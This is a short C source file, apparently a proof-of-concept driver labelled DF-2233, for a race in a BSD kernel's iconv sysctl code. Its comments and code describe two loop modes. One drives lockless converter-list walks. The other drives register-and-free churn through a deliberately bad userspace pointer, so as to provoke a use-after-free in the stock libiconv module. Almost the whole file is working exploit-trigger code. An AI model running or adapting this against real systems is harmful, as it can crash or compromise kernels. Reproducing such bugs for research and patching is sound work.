DF-2233 / churnadd.c
/* * DF-2233 -- userland driver for the free/walk sides that need no custom * module at all (works against the STOCK /boot/kernel/libiconv.ko). * * churnadd walk <iters> "walk" side: kern.iconv.add request with an * unknown converter name. iconv_sysctl_add() * calls the LOCKLESS iconv_lookupconv() on every * request (iconv.c:412) before taking the lock, * then fails with EINVAL -- a pure, allocation- * free walk of the converter list, exactly the * path any kiconv(3) caller drives. * * churnadd bad <iters> "free" side: valid request whose ia_data is a * bad userspace pointer with ia_datalen > 0. * iconv_sysctl_add() registers the pair * (TAILQ_INSERT_TAIL under LK_EXCLUSIVE), the * copyin() fails, and the `bad:` path calls * iconv_unregister_cspair() -> TAILQ_REMOVE + * kfree() -- the very same free the module * unload path performs, here drivable in a * tight loop while walkers walk locklessly. */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/iconv.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> static void fill(struct iconv_add_in *din, const char *conv, const char *to, const char *from, int datalen, const void *data) { memset(din, 0, sizeof(*din)); din->ia_version = ICONV_ADD_VER; strlcpy(din->ia_converter, conv, sizeof(din->ia_converter)); strlcpy(din->ia_to, to, sizeof(din->ia_to)); strlcpy(din->ia_from, from, sizeof(din->ia_from)); din->ia_datalen = datalen; din->ia_data = data; } int main(int argc, char **argv) { struct iconv_add_in din; struct iconv_add_out dout; size_t olen; long iters, i, ok = 0, fail = 0; int r; if (argc < 3) return (2); iters = atol(argv[2]); for (i = 0; i < iters; i++) { olen = sizeof(dout); if (strcmp(argv[1], "walk") == 0) { /* unknown converter -> full lockless lookupconv walk */ fill(&din, "ZZQ", "A", "B", 0, NULL); } else { /* valid, then copyin(EFAULT) -> register+free churn */ fill(&din, "UTF-16BE", "CHRN", "CHRF", 16, (void *)0x10); } r = sysctlbyname("kern.iconv.add", &dout, &olen, &din, sizeof(din)); if (r == 0) ok++; else fail++; } printf("churnadd %s: %ld iters, %ld ok, %ld failed (last errno %d: %s)\n", argv[1], iters, ok, fail, errno, strerror(errno)); return (0); } |